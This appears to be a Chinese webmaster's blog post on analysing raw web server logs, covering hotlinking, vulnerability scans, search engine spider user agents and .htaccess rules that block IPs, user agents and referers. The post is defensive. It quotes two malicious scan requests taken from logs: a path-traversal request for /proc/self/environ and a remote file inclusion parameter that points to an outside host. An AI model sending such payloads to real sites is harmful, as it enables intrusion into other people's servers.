如何分析web日志中的内容

Server 林涛 3302℃ 0评论

    Google analytics、量子统计、百度统计、cnzz、51.la等,这些工具可以统计网站的流量,也就是网站上访客可看到的所有页面的访问量,但是这些统计工具都不能统计你主机上资源的原始访问信息,例如某个图片被谁下载了。日志中记录了网站上所有资源的访问信息,包括图片、CSS、JS、FLASH、HTML、MP3等所有网页打开过程载入的资源,同时记录了这些资源都被谁访问了、用什么来访问以及访问的结果是什么等等,可以说原始访问日志记录了主机的所有资源使用情况。如果你的网站遭到了攻击、非法盗链和不良请求等,通过分析原始访问日志就能找到其中的蛛丝马迹。

1、注意那些被频繁访问的资源

     如果在日志中,你发现某个资源(网页、图片和mp3等)被人频繁访问,那你应该注意该资源被用于何处了!如果这些请求的来源(Referer)不是你的网站或者为空,且状态码(Http Code)为200,说明你的这些资源很可能被人盗链了,通过 Referer 你可以查出盗链者的网址,这可能就是你的网站流量暴增的原因,你应该做好防盗链了。请看下图,我网站上的japan.mp3这个文件就被人频繁的访问了,下图还只是日志的一部分,这人极其险恶,由于我早已将该文件删除,它迟迟要不到japan.mp3,在短短一个小时内对japan.mp3发起了不下百次的请求,见我设置了防盗链就伪造来源Referer和Agent,还不断地更换IP,很可惜它做得都是无用功,根本没有这个文件,请求的状态码Http Code都是403或者404

恶意请求

2、注意那些你网站上不存在资源的请求

     例如下图的4个请求信息。/admin/editor/db/kmoxewebeditor.mdb等几个资源都是不是本站的资源,所以Http Code不是403就是404,但从名称分析,可能是保存数据库信息的文件,如果这些信息让别人拿走,那么攻击你的网站就轻松多了。发起这些请求的目的无非就是扫描你的网站漏洞,通过漫无目的地扫描下载这些已知的漏洞文件,很可能会发现你的网站某个漏洞哦!通过观察,可以发现,这些请求所使用的Agent差不多都是Mozilla/4.0、Mozilla/5.0或者libwww-perl/等等非常规的浏览器类型,以上我提供的日志格式化工具已经集成了对这些请求的警报功能。我们可以通过禁止这些Agent的访问,来达到防止被扫描的目的,具体方法下面再介绍。

常见的扫描式攻击还包括传递恶意参数等:
     //header.php?repertoire=../../../../../../../../../../../../../../../proc/self/environ%00
     /?_SERVERDOCUMENT_ROOT=http://wdwinfo.ca/logs/.log?

恶意请求


恶意请求

3、观察搜索引擎蜘蛛的来访情况

     通过观察日志中的信息,你可以看出你的网站被蜘蛛访问的频率,进而可以看出你的网站是否被搜索引擎青睐,这些都是SEO所关心的问题吧。日志格式化工具已经集成了对搜索引擎蜘蛛的提示功能。常见搜索引擎的蜘蛛所使用的Agent列表如下:

Google蜘蛛
   Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Baidu蜘蛛
   Baiduspider+(+http://www.baidu.com/search/spider.htm)

Yahoo!蜘蛛
   Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)

Yahoo!中国蜘蛛
   Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)

微软Bing蜘蛛
   msnbot/2.0b (+http://search.msn.com/msnbot.htm)

Google Adsense蜘蛛
   Mediapartners-Google

有道蜘蛛
  Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )

Soso搜搜博客蜘蛛
   Sosoblogspider+(+http://help.soso.com/soso-blog-spider.htm)

Sogou搜狗蜘蛛
   Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Twiceler爬虫程序
   Mozilla/5.0 (Twiceler-0.9 http://www.cuil.com/twiceler/robot.html)’

Google图片搜索蜘蛛
   Googlebot-Image/1.0

俄罗斯Yandex搜索引擎蜘蛛
   Yandex/1.01.001 (compatible; Win16; I)

Alexa蜘蛛
   ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)

Feedsky蜘蛛
   Mozilla 5.0 (compatible; Feedsky crawler /1.0; http://www.feedsky.com)

韩国Yeti蜘蛛
   Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/)

4、观察访客行为

     通过查看格式化后的日志,可以查看跟踪某个IP在某个时间段的一系列访问行为,单个IP的访问记录越多,说明你的网站PV高,用户粘性好;如果单个IP的访问记录希希,你应该考虑如何将你的网站内容做得更加吸引人了。通过分析访客的行为,可以为你的网站建设提供有力的参考,哪些内容好,哪些内容不好,确定网站的发展方向;通过分析访客的行为,看看他们都干了些什么事,可以揣测访客的用意,及时揪出恶意用户。

     以上只是我个人总结出来的一些小技巧,可以简单的分析你的日志内容,毕竟我个人见识还是比较短浅,还不能全面地进行日志分析。在cPanel主机控制面板中,还提供了awstats和webalizer两个日志分析工具,它们都是以原始访问日志为基础进行分析,功能强大且丰富,你可以一试,不懂的可以咨询主机客服。

应敌之策

   我们这里以Linux主机的.htaccess编写为例来讲解如何防范恶意请求。

1、封杀某个IP

     如果你不想让某个IP来访问你的网站,可以将其封杀。封杀方法有二:其一,在cPanel面板中有个Security – IP Deny Manager,点击进去填上要封杀的IP即可;其二,在.htaccess中加入以下语句,即可封杀这两个IP 123.165.54.14、123.165.54.15,以及123.165.55这个IP段,多个同理:

1

2

3
deny from 123.165.54.14

deny from 123.165.54.15

deny from 123.165.55

2、封杀某个浏览器类型(Agent)

     通常情况下,如果是使用机器人来扫描或者恶意下载你的网站资源,它们使用的Agent差不多都是一个类型,例如我上面所说的Mozilla/4.0、Mozilla/5.0或者libwww-perl/等。你可以封杀某个Agent,来达到防范攻击的目的。在.htaccess中添加以下规则(不一定每款主机都支持):

1

2

3

4

5

6

7
SetEnvIfNoCase User-Agent ".*Firefox/3\.6\.3.*" bad_agent



<Limit GET POST>

Order Allow,Deny

Allow from all

Deny from env=bad_agent

</Limit>

     以上规则封杀了Agent中含有Firefox/3.6.3的来源,也就是包括以下例子的Agent将无法访问你的网站:

Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3

     以上只是个例子,切不可用于你的网站,否则使用Firefox 3.6.3的用户就不可以访问你的网站了,访问结果Http Code都是403,他们看到都是403页面,也就是禁止访问页面。这里让我来教你如何编写封杀的规则,以上语句SetEnvIfNoCase User-Agent ".*Firefox/3\.6\.3.*" bad_agent指定了要封杀的规则,核心语句 ".*Firefox/3\.6\.3.*" 用于匹配含有 Firefox/3.6.3 的来源,写法见正则表达式的写法,这里给出几个正则例子,你可以套用:

正则式子 作用
".*Firefox/3\.6\.3.*" 匹配含有 Firefox/3.6.3 的Agent
"^libwww-perl" 匹配以 libwww-perl 为开头的Agent
"^Mozilla/4\.0$" 匹配 Mozilla/4.0 的Agent,即Referer完全等于Mozilla/4.0的情况
"^$" 匹配Agent为空的情况,这类情况必须禁止
"Mozilla/5\.0$" 匹配以Mozilla/5.0为结尾的Agent

     通过上表,你差不多也知道了个大概,在正则式子中,所有点 . 一概写成 \. ; ^用于匹配开头, $用于匹配结尾;.* 用于匹配任意长度的字符(包括长度为0的),下面是一个完整例子,你可以套用,相信你也可以写出自己的规则:

1

2

3

4

5

6

7

8

9

10

11
## Block Bad Bots by user-Agent

SetEnvIfNoCase User-Agent "^libwww-perl" bad_agent

SetEnvIfNoCase User-Agent "^Mozilla/4\.0$" bad_agent

SetEnvIfNoCase User-Agent "^Mozilla/5\.0$" bad_agent

SetEnvIfNoCase User-Agent "^$" bad_agent



<Limit GET POST>

Order Allow,Deny

Allow from all

Deny from env=bad_agent

</Limit>

3、封杀某个来源(Referer)

     如果某个网站频繁地对你网站进行盗链,且不听劝,那你可以通过禁止它的Referer,来达到防盗链目的,下面举个例子来禁止http://www.google.com这个网站对你网站的盗链,正则的编写跟上面的无异,在.htaccess中添加以下规则:

1

2

3

4

5

6

7
SetEnvIf Referer "^http://www\.google\.com" bad_referer



<filesmatch "\.(jpg|gif|png|css|js|bmp|mp3|wma|swf)">

Order Allow,Deny

Allow from all

Deny from env=bad_referer

</filesmatch>

     通过对来源(Referer)的判断,使用以下代码可以达到简单的防盗链。以下列出的网址,允许访问你网站上后缀名为jpg|gif|png|css|js|bmp|mp3|wma|swf的文件,其余网站全部禁止访问这些文件,正则的写法与上面说的相同,你可以将其中的域名稍作更改,然后应用于你的网站,在.htaccess中添加以下规则:

1

2

3

4

5

6

7

8

9

10

11
SetEnvIf Referer "^http://www\.ludou\.org/" local_referer

SetEnvIf Referer "^http://cache\.baidu\.com/" local_referer



# 将以下语句中的 # 去除,即可允许Referer为空的请求,一般设置允许为好

# SetEnvIf Referer "^$" local_referer



<filesmatch "\.(jpg|gif|png|css|js|bmp|mp3|wma|swf)">

Order Deny,Allow

Deny from all

Allow from env=local_referer

</filesmatch>

5、文件重命名

     即使你网站上的资源被人盗链了,通过文件重命名,同样可以达到防盗链的目的,毕竟盗链者不知道你改了文件名,它也不会整天监视你的文件。

如需转载请注明: 转载自26点的博客

本文链接地址: 如何分析web日志中的内容

转载请注明:26点的博客 » 如何分析web日志中的内容

喜欢 (0)
发表我的评论
取消评论

表情